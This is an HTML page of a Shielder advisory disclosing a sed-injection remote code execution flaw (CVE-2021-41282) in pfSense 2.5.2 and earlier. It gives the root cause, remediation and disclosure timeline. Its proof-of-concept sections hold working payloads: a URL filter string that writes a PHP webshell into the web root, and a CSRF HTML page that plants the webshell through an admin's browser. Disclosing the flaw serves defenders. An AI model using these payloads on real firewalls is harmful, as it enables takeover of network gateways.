CINXE.COM

<!doctype html><html lang=en><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=description content="pfSense <= 2.5.2 allows authenticated users to inject arbitrary sed-specific code, which leads to an Arbitrary File Write, resulting in a Remote Code Execution. The vulnerability is also exploitable through a Cross-Site Request Forgery."><meta name=Copyright content="Copyright © Shielder"><meta property="og:title" content="Shielder - Remote Code Execution in pfSense <= 2.5.2"><meta property="og:type" content="article"><meta property="og:url" content="https://www.shielder.com/advisories/pfsense-remote-command-execution/"><meta property="og:image" content="https://www.shielder.com//img/advisory.png"><meta property="og:image:type" content="image/png"><meta property="og:image:width" content="225"><meta property="og:image:height" content="225"><meta property="og:image:alt" content="advisory"><meta property="og:locale" content="en_US"><meta property="og:description" content="pfSense <= 2.5.2 allows authenticated users to inject arbitrary sed-specific code, which leads to an Arbitrary File Write, resulting in a Remote Code Execution. The vulnerability is also exploitable through a Cross-Site Request Forgery."><meta property="og:site_name" content="Shielder"><meta property="fb:app_id" content="1651492201761174"><meta name=twitter:card content="summary"><meta name=twitter:site content="@ShielderSec"><meta name=twitter:creator content="@ShielderSec"><meta name=twitter:title content="Shielder - Remote Code Execution in pfSense <= 2.5.2"><meta name=twitter:description content="pfSense <= 2.5.2 allows authenticated users to inject arbitrary sed-specific code, which leads to an Arbitrary File Write, resulting in a Remote Code Execution. The vulnerability is also exploitable through a Cross-Site Request Forgery."><meta name=twitter:image content="https://www.shielder.com//img/advisory.png"><link rel=apple-touch-icon sizes=57x57 href=https://www.shielder.com/favicon/apple-touch-icon-57x57.png><link rel=apple-touch-icon sizes=60x60 href=https://www.shielder.com/favicon/apple-touch-icon-60x60.png><link rel=apple-touch-icon sizes=72x72 href=https://www.shielder.com/favicon/apple-touch-icon-72x72.png><link rel=apple-touch-icon sizes=76x76 href=https://www.shielder.com/favicon/apple-touch-icon-76x76.png><link rel=apple-touch-icon sizes=114x114 href=https://www.shielder.com/favicon/apple-touch-icon-114x114.png><link rel=apple-touch-icon sizes=120x120 href=https://www.shielder.com/favicon/apple-touch-icon-120x120.png><link rel=apple-touch-icon sizes=144x144 href=https://www.shielder.com/favicon/apple-touch-icon-144x144.png><link rel=apple-touch-icon sizes=152x152 href=https://www.shielder.com/favicon/apple-touch-icon-152x152.png><link rel=apple-touch-icon sizes=167x167 href=https://www.shielder.com/favicon/apple-touch-icon-167x167.png><link rel=apple-touch-icon sizes=180x180 href=https://www.shielder.com/favicon/apple-touch-icon-180x180.png><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-16x16.png sizes=16x16><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-32x32.png sizes=32x32><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-96x96.png sizes=96x96><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-160x160.png sizes=160x160><link rel=icon type=image/png href=https://www.shielder.com/favicon/favicon-192x192.png sizes=192x192><link rel="shortcut icon" href=https://www.shielder.com/favicon/favicon.ico><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-regular-400.woff2 as=font type=font/woff2 crossorigin><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-solid-900.woff2 as=font type=font/woff2 crossorigin><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-brands-400.woff2 as=font type=font/woff2 crossorigin><link rel=preload href=https://www.shielder.com/fontawesome/webfonts/fa-brands-400.woff2 as=font type=font/woff2 crossorigin><title>Shielder - Remote Code Execution in pfSense <= 2.5.2 </title><link rel=stylesheet defer href=https://www.shielder.com/css/bootstrap.min.css><link rel=stylesheet defer href=https://www.shielder.com/css/style.css><link rel=stylesheet async href=https://www.shielder.com/fontawesome/css/all.min.css><link rel=stylesheet async href=https://www.shielder.com/css/dracula.css><link rel=alternate type=application/rss+xml title="Shielder Blog" href=https://www.shielder.com/blog/index.xml><link rel=alternate type=application/rss+xml title="Shielder Advisories" href=https://www.shielder.com/advisories/index.xml></head><body><nav class="navbar navbar-expand-lg fixed-top bg-primary p-3 px-md-5 px-lg-3 px-xl-5"><a class=navbar-brand href=https://www.shielder.com/ title=homepage><img src=https://www.shielder.com/img/logoshielder.svg alt="shielder logo homepage" class=w-75></a> <button class="navbar-toggler text-white p-0" type=button data-toggle=collapse data-target=#navbarNav aria-controls=navbarNav aria-expanded=false aria-label="Toggle navigation"> </button><div class="collapse navbar-collapse justify-content-end pt-2" id=navbarNav><ul class=navbar-nav><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/ title=Home>Home</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/company title=Company>Company</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/services title=Services>Services</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/advisories title=Advisories>Advisories</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/blog title=Blog>Blog</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/careers title=Careers>Careers</a></li><li class="nav-item p-2"><a class="nav-link text-white" href=https://www.shielder.com/contacts title=Contacts>Contacts</a></li><li class="nav-item p-2"><button class="nav-link bg-transparent border-0 btn btn-primary dropdown-toggle rounded-0" type=button id=language-selector data-toggle=dropdown aria-haspopup=true aria-expanded=false> ENG</button><div class="dropdown-menu dropdown-menu-right" aria-labelledby=language-selector><a class=dropdown-item href=https://www.shielder.com/advisories/pfsense-remote-command-execution/ title=ENG>ENG</a> <a class=dropdown-item href=https://www.shielder.com/it/advisories/pfsense-remote-command-execution/ title=ITA>ITA</a></div></li></ul></div></nav><section id=single-advisory class="bg-primary text-white"><div class=container><div class=row><div class="col-12 col-lg-8"><h1 id=remote-code-execution-in-pfsense--252>Remote Code Execution in pfSense <= 2.5.2</h1><h2 id=summary>Summary</h2>pfSense allows authenticated users to get information about the routes set in the firewall. The information are retrieved by executing the <code>netstat</code> utility and then its output is parsed via the <code>sed</code> utility. While the common prevention patterns for command injections (i.e. the usage of the <code>escapeshellarg</code> function for the arguments) are in use, it is still possible to inject <code>sed</code>-specific code and write an arbitrary file in an arbitrary location. This vulnerability could be also exploited pre-authentication as the vulnerable endpoint is also vulnerable to a Cross-Site Request Forgery (CSRF).<h2 id=product-description-from-vendor>Product Description (from vendor)</h2>pfSense® Plus software is the world’s most trusted firewall. The software has garnered the respect and adoration of users worldwide - installed well over three million times. Made possible by open source technology. Made into a robust, reliable, dependable product by Netgate.<h2 id=cves>CVE(s)</h2><ul><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41282" target=_blank rel="noopener noreferrer">CVE-2021-41282</a></li></ul><h2 id=details>Details</h2><h3 id=root-cause-analysis>Root Cause Analysis</h3>pfSense while trying to show the routes set in the firewall executes the <code>sed</code> utility with some user-controllable input. <code>sed</code> - a stream editor - is a powerful utility to perform text transformations and has quite a lot of commands which could be defined as a single command line argument semicolon-separated. The ability of adding multiple commands in one argument is the key for this vulnerability.What is important to specify before diving into the exploitation details is that pfSense is based on FreeBSD, so all the GNU-specific arguments of <code>sed</code> (e.g. the <code>e</code>/<code>exec</code> argument which could be used to run a system command) are not available.An excerpt of the <a href=https://github.com/pfsense/pfsense/blob/a7086b04cae21ca742fdeefd1019ee1401b6dded/src/usr/local/www/diag_routes.php#L35-L65 target=_blank rel="noopener noreferrer">vulnerable code</a> follows:<div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 </code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php>35 if (isset($_REQUEST['isAjax'])) { 36 require_once('auth_check.inc'); 37 38 $netstat = "/usr/bin/netstat -rW"; 39 if (isset($_REQUEST['IPv6'])) { 40 $netstat .= " -f inet6"; 41 echo "IPv6\n"; 42 } else { 43 $netstat .= " -f inet"; 44 echo "IPv4\n"; 45 46 } 47 if (!isset($_REQUEST['resolve'])) { 48 $netstat .= " -n"; 49 } 50 51 if (!empty($_REQUEST['filter'])) { 52 $netstat .= " | /usr/bin/sed -e " . escapeshellarg("1,3d; 5,\$ { /" . htmlspecialchars($_REQUEST['filter']) . "/!d; };"); 53 } else { 54 $netstat .= " | /usr/bin/sed -e '1,3d'"; 55 } 56 57 if (is_numeric($_REQUEST['limit']) && $_REQUEST['limit'] > 0) { 58 $_REQUEST['limit']++; // Account for the header line 59 $netstat .= " | /usr/bin/head -n {$_REQUEST['limit']}"; 60 } 61 62 echo htmlspecialchars_decode(shell_exec($netstat)); 63 64 exit; 65 } </code></pre></td></tr></table></div></div>At line 51-52 it could be seen that if the request contains a <code>filter</code> parameter then its HTML special characters are converted to their HTML entities. Then the input is prefixed and suffixed by some hard-coded <code>sed</code> syntax, and finally everything is escaped by the <a href=https://www.php.net/manual/en/function.escapeshellarg.php target=_blank rel="noopener noreferrer"><code>escapeshellarg</code></a> function, which prevents sub-commands or other arguments from being injected. At line 62 the command is finally executed.As mentioned before it is possible to inject arbitrary <code>sed</code> syntax, having the only limitation that the input is encoded via the <a href=https://www.php.net/manual/en/function.htmlspecialchars.php target=_blank rel="noopener noreferrer"><code>htmlspecialchars</code></a> function. This allows to use the <code>s/match/replace/</code> command to replace part of the <code>netstat</code> output with an arbitrary string and the <code>w /path/to/file</code> command to write the output of the <code>sed</code> command to an arbitrary location.Wrapping everything together an attacker could set in the filter parameter the following string: <code>.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23</code> Which will result in the following command to be run:<pre tabindex=0><code>/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php #/!d; };' </code></pre>As the <code>netstat</code> utility always outputs the <code>Destination</code> string, it was chosen to be replaced with <code><?php system($_GET["a"]);?></code> and then the output is written to <code>/usr/local/www/a.php</code>.<h3 id=proof-of-concept>Proof of Concept</h3><ol><li>Login to pfSense</li><li>Visit the following URL by replacing <code><target></code> with the IP address / domain of the target pfSense instance: <code>http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23</code></li><li>Visit the following URL by replacing <code><target></code> with the IP address / domain of the target pfSense instance and notice that the <code>id</code> command has been executed: <code>http://<target>/a.php?a=id</code></li></ol><h3 id=impact>Impact</h3>An authenticated attacker could write an arbitrary file to the pfSense disk. This can be abused to write a webshell to execute arbitrary code / commands.It should be noted that due to a lack of Cross-Site Request Forgery (CSRF) protections for the vulnerable endpoint it is possible for an attacker to trick an authenticated admin into visiting a malicious website to exploit the vulnerability through the victim’s session/browser. More details are available in the Cross-Site Request Forgery advisory.A proof of concept to exploit the vulnerability through the CSRF follows:<ol><li>Login to pfSense</li><li>Create an HTML file with the following content by replacing <code><target></code> with the IP address / domain of the target pfSense instance:</li></ol><div class=highlight><div class=chroma><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code>1 2 3 4 </code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-html data-lang=html><meta name="referrer" content="no-referrer"> <script> window.location = "http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3cscript\\x3eif\\x28location.pathname\\x21\\x3d\\x27\\x2fa.php\\x27\\x29\\x7blocation\\x3d\\x27\\x2fa.php\\x3fa\\x3did\\x27\\x7d\\x3c\\x2fscript\\x3e\\x3c\\x3fphp+system($_GET[\\x22a\\x22])\\x3b\\x3f\\x3e/;w+/usr/local/www/a.php%0a%23" </script> </code></pre></td></tr></table></div></div><ol start=3><li>Visit the following URL by replacing <code><target></code> with the IP address / domain of the target pfSense instance and notice the 404 error: <code>http://<target>/a.php?a=id</code></li><li>Host the HTML page created at step 2 on a webserver and visit it in the same browser used for the other steps</li><li>Notice that the Arbitrary File Write has been exploited to create a webshell in <code>/usr/local/www/a.php</code> and the victim is redirected to the webshell (<code>http://<target>/a.php?a=id</code>) to execute the <code>id</code> command</li></ol><h3 id=remediation>Remediation</h3>Upgrade pfSense CE to version 2.6.0 or pfSense Plus to version 22.01.<h2 id=disclosure-timeline>Disclosure Timeline</h2><ul><li>12/08/2021: Submission to <a href=mailto:security@netgate.com>security@netgate.com</a></li><li>13/08/2021: pfSense published the fix for the RCE on Github: <a href=https://github.com/pfsense/pfsense/commit/72ea2b69cc111d4bc8ebf1ccf1e1529923c5b88a target=_blank rel="noopener noreferrer">https://github.com/pfsense/pfsense/commit/72ea2b69cc111d4bc8ebf1ccf1e1529923c5b88a</a></li><li>16/08/2021: Shielder reported a ReDoS in the implemented fix and the lack of a fix for the CSRF</li><li>16/08/2021: pfSense published the first attempt to fix the ReDoS and fix for the CSRF on Github: <a href=https://github.com/pfsense/pfsense/commit/57a737f172b7baaa6ae0f23e8aef2f93ad851054 target=_blank rel="noopener noreferrer">https://github.com/pfsense/pfsense/commit/57a737f172b7baaa6ae0f23e8aef2f93ad851054</a></li><li>17/08/2021: Shielder reported a bypass for the ReDoS fix</li><li>17/08/2021: pfSense published the second attempt to fix the ReDos on Github: <a href=https://github.com/pfsense/pfsense/commit/8cd3f92f2443a6f0e4b7964a9532f761f808a0c6 target=_blank rel="noopener noreferrer">https://github.com/pfsense/pfsense/commit/8cd3f92f2443a6f0e4b7964a9532f761f808a0c6</a></li><li>17/08/2021: Shielder reported yet-another-bypass™️ for the ReDoS fix</li><li>18/08/2021: pfSense published the final fix for the ReDoS on Github: <a href=https://github.com/pfsense/pfsense/commit/cf757a8094762ede47861fc073eaba06355c6bfc target=_blank rel="noopener noreferrer">https://github.com/pfsense/pfsense/commit/cf757a8094762ede47861fc073eaba06355c6bfc</a></li><li>15/09/2021: Shielder requested the CVE</li><li>06/10/2021: Shielder asked for update about the publication time of the fixed version</li><li>06/10/2021: pfSense shared the ETA for the update - Jan 2022</li><li>14/02/2022: psSense published the fixed version</li><li>23/02/2022: Shielder’s advisory is made public</li></ul><h2 id=credits>Credits</h2><ul><li>Abdel Adim `<a href=https://twitter.com/smaury92 target=_blank rel="noopener noreferrer">smaury</a>` Oisfi of Shielder</li></ul>This advisory was first published on https://www.shielder.com/advisories/pfsense-remote-command-execution/</div><div class="col-12 col-lg-3 offset-lg-1 order-first order-lg-last mb-5 mb-lg-0"><div class=row><div class="col-12 my-4"> <a class="smaller text-decoration-none text-muted" href=/types/advisory>Advisory</a></div><div class="col-12 mb-4">Date23 February 2022</div></div></div></div></div></section><footer class="pt-5 pb-4 px-3 px-md-0"><div class=container><div class="row text-center"><div class="col-12 col-lg-4 text-white border-bottom mb-4 pb-lg-0 mb-lg-0">InfoShielder S.p.A.P.I. 11435310013REA TO - 1213132Registered Capital: 81.000,00 €<a class="text-decoration-none text-white" target=_blank rel=noopener href="https://www.google.it/maps/place/Shielder/@44.8833849,7.3303863,17z/data=!3m1!4b1!4m5!3m4!1s0x4788250440849fa5:0x74cf10f2092abc85!8m2!3d44.8833849!4d7.332575" title="corporate headquarters">Via Palestro, 1/C 10064 Pinerolo (TO) Italy</a><div class="iso-logos row justify-content-center mb-4 pb-lg-0 mb-lg-0"><div class=col-3><img alt=ISO27001 src=/img/iso27001.png></div><div class=col-3><img alt=ISO9001 src=/img/iso9001.png></div></div></div><div class="col-12 col-lg-4 text-white border-bottom mb-4 pb-lg-0 mb-lg-0">Contacts<a class="text-decoration-none text-white" href=mailto:info@shielder.com title="email Shielder">info@shielder.com</a>Landline: <a class="text-decoration-none text-white" href=tel:+390121393642 title=Landline>(+39) 0121 - 39 36 42</a>Commercial: <a class="text-decoration-none text-white" href=tel:+393453031983 title=Commercial>(+39) 345 - 30 31 983</a>Technical: <a class="text-decoration-none text-white" href=tel:+393931666814 title=Technical>(+39) 393 - 16 66 814</a><a href=https://twitter.com/ShielderSec title="Shielder Twitter profile" target=_blank rel="noopener me" class=text-white></a> <a href=https://infosec.exchange/@Shielder title="Shielder Mastodon profile" target=_blank rel="noopener me" class=text-white></a> <a href=https://www.linkedin.com/company/shielder title="Shielder LinkedIn profile" target=_blank rel="noopener me" class=text-white></a> <a href=https://github.com/shieldersec title="Shielder Github profile" target=_blank rel="noopener me" class=text-white></a></div><div class="col-12 col-lg-4 text-white mb-4 pb-lg-0 mb-lg-0">Sitemap<a class="text-decoration-none text-white" title=Home href=https://www.shielder.com/>Home</a><a class="text-decoration-none text-white" title=Company href=https://www.shielder.com/company>Company</a><a class="text-decoration-none text-white" title=Services href=https://www.shielder.com/services>Services</a><a class="text-decoration-none text-white" title=Advisories href=https://www.shielder.com/advisories>Advisories</a><a class="text-decoration-none text-white" title=Blog href=https://www.shielder.com/blog>Blog</a><a class="text-decoration-none text-white" title=Careers href=https://www.shielder.com/careers>Careers</a><a class="text-decoration-none text-white" title=Contacts href=https://www.shielder.com/contacts>Contacts</a></div><div class="col-12 mt-5">Copyright © Shielder 2014 - 2025 <a class="text-decoration-none text-white" href=/disclosure-policy title="Disclosure Policy">Disclosure policy</a> <a class="text-decoration-none text-white" href=/privacy-policy title="Privacy Policy">Privacy policy</a></div></div></div></footer><script src=https://www.shielder.com/js/jquery.min.js></script><script src=https://www.shielder.com/js/app.js></script><script src=https://www.shielder.com/js/bootstrap.bundle.min.js></script></body></html>